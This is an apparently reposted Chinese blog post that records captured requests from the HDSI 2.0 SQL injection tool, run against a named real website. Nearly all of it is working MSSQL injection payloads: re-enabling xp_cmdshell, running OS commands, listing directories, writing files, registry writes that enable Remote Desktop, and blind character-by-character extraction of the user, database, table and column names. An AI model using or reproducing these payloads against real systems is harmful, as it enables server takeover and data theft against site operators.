在Hdsi2.0 SQL的注入部分抓包分析语句

Posted 2020-06-14

在Hdsi2.0 SQL的注入部分抓包分析语句

恢复cmd

;insert tb1 exec master..xp_cmdshell‘‘net user ‘‘--

;exec master.dbo.sp_addextendedproc ‘‘xp_cmdshell‘‘,‘‘xplog70.dll‘‘--

执行命令：

sql: ;ipconfig -all--

dos：

;Drop table comd_list ;CREATE TABLE comd_list (ComResult nvarchar(1000)) INSERT comd_list EXEC MASTER..xp_cmdshell 
"ipconfig

-all"--

GET /plaza/event/new/crnt_event_view.asp?event_id=57

And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [comd_list] Where 1=1)>0

列目录：
c:   jiaozhu 临时表

;drop table jiaozhu;CREATE TABLE jiaozhu(DirName VARCHAR(100), DirAtt VARCHAR(100),DirFile VARCHAR(100)) INSERT jiaozhu 
EXEC

MASTER..XP_dirtree "c:",1,1--

GET /plaza/event/new/crnt_event_view.asp?event_id=57

And (Select char(94)+Cast(Count(1) as varchar(8000))+char(94) From [jiaozhu] Where 1=1)>0

上传文件：

本地路径：C:\Inetpub\wwwroot\cook.txt   保存位置：c：

数据库存储过程：

;exec master..xp_cmdshell ‘‘ echo

cdb_sid=3UrzOV;%20cdb_cookietime=2592000;%20cdb_auth=VgcCBAJbVQxVAVMCVghTBFJUUQYDBQdTV1BWVQoKAQE6PwNX;%
20cdb_visitedfid=12;%2

0cdb_oldtopics=D8D>c:\‘‘--

数据库备份：(上传后删除临时表)

;Drop table [xiaopan];create table [dbo].[xiaopan] ([cmd] [text])--

;insert into xiaopan(cmd) values(‘‘ echoStr ‘‘)--

;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=‘‘c:/‘‘ backup database @a to[email protected] WITH 
DIFFERENTIAL,FORMAT--

;Drop table [xiaopan]--

开启3389：

;declare @r varchar(255) set @r=‘‘hkey_local_machine‘‘exec master..xp_regwrite

@r,‘‘software\microsoft\windows\currentversion\netcache‘‘,‘‘enable‘‘,‘‘reg_sz‘‘,‘‘0‘‘;-
---

;declare @r varchar(255) set @r=‘‘hkey_local_machine‘‘exec master..xp_regwrite @r,‘‘software\microsoft\windows

nt\currentversion\winlogon‘‘,‘‘shutdownwithoutlogon‘‘,‘‘reg_sz‘‘,‘‘0‘‘;----

;declare @r varchar(255) set @r=‘‘hkey_local_machine‘‘exec master..xp_regwrite

@r,‘‘software\policies\microsoft\windows\installer‘‘,‘‘enableadmintsremote‘‘,‘‘reg_dword‘‘,1;----

;declare @r varchar(255) set @r=‘‘hkey_local_machine‘‘exec master..xp_regwrite @r,‘‘system\currentcontrolset\control
\terminal

servert‘‘,‘‘senabled‘‘,‘‘reg_dword‘‘,1;----

;declare @r varchar(255) set @r=‘‘hkey_local_machine‘‘exec master..xp_regwrite

@r,‘‘system\currentcontrolset\services\termdd‘‘,‘‘start‘‘,‘‘reg_dword‘‘,2;----

;declare @r varchar(255) set @r=‘‘hkey_local_machine‘‘exec master..xp_regwrite

@r,‘‘system\currentcontrolset\services\termservice‘‘,‘‘start‘‘,‘‘reg_dword‘‘,2;----

;declare @r varchar(255) set @r=‘‘hkey_local_machine‘‘exec master..xp_regwrite ‘‘hkey_users‘‘,‘‘.default\keyboard

layout\toggle‘‘,‘‘hotkey‘‘,‘‘reg_sz‘‘,‘‘1‘‘;----

;declare @r varchar(255) set @r=‘‘hkey_local_machine‘‘exec master..xp_cmdshell ‘‘iisreset /reboot‘‘;----

注入分析：数字型 SQL错误提示关闭 开启 access

使用关键字 宝石公园“你玩 我抽”中奖名单公布

http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=57

多句查询 支持
子查询   支持
权限   public
当前用户 dbo
当前库   event

;create table t_jiaozhu(jiaozhu varchar(200))

And 1=1
And 1=2
And (Select Count(1) from SYSObjects)>0
and (select len(user))<32
;declare @a int--
And (IS_SRVROLEMEMBER(‘‘sysadmin‘‘))=1
And (IS_MEMBER(‘‘db_owner‘‘))=1
and (select len(user))<16
and (select len(user))<4
and (select len(user))<2
and (select len(user))<3
and (select len(user))<3
and (select len(user))<4
and (select ascii(substring(user,1,1)))<80
and (select ascii(substring(user,2,1)))<80
and (select ascii(substring(user,3,1)))<80
and (select ascii(substring(user,1,1)))<104
and (select ascii(substring(user,2,1)))<104
and (select ascii(substring(user,3,1)))<104
and (select ascii(substring(user,1,1)))<92
and (select ascii(substring(user,2,1)))<92
and (select ascii(substring(user,3,1)))<116
and (select ascii(substring(user,1,1)))<98
...
...
...

and (select len(db_name()))<16
and (select len(db_name()))<8
and (select len(db_name()))<4
...
...
...

and (select ascii(substring(db_name(),1,1)))<80
and (select ascii(substring(db_name(),2,1)))<80
and (select ascii(substring(db_name(),5,1)))<85

跨库：

猜解数据库：

GET

and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <8
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <4
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <6
and (Select top 1 len(name) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <7
...
...
...

and (Select top 1 ascii(substring(name,2,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by 
dbid

desc) <104
and (Select top 1 ascii(substring(name,3,1)) from (Select top 2 dbid,name from [master]..[sysdatabases] ) T order by 
dbid

desc) <104
...
...
...

and (Select top 1 len(name) from (Select top 4 dbid,name from [master]..[sysdatabases] ) T order by dbid desc) <5

master 不是sa权限，不能跨库

猜解表名：

EventCategory

GET 
and (Select top 1 unicode(substring(name,2,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85)) 
T

order by id desc) < 80

and (Select top 1 unicode(substring(name,11,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T

order by id desc) < 80

and (Select top 1 unicode(substring(name,12,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char
(85)) T

order by id desc) < 80

and (Select top 1 unicode(substring(name,6,1)) from(Select top 1 id,name from [EVENT]..sysobjects where xtype=char(85)) 
T

order by id desc) < 80

猜解列名：

GET

and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=‘‘EventCategory‘‘)<32
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=‘‘EventCategory‘‘)<48
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=‘‘EventCategory‘‘)<56
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=‘‘EventCategory‘‘)<60
and (select count(1) from EVENT..syscolumns A,EVENT..sysobjects B where A.id=B.id and B.name=‘‘EventCategory‘‘)<62
and (select top 1 len(name) from ( select top 1 A.id,A.name from EVENT..syscolumns A,EVENT..sysobjects B where 
A.id=B.id and

B.name=‘‘EventCategory‘‘ order by A.name desc) T order by name asc )<35

 转载自:http://www.aspnetjia.com/Cont-204.html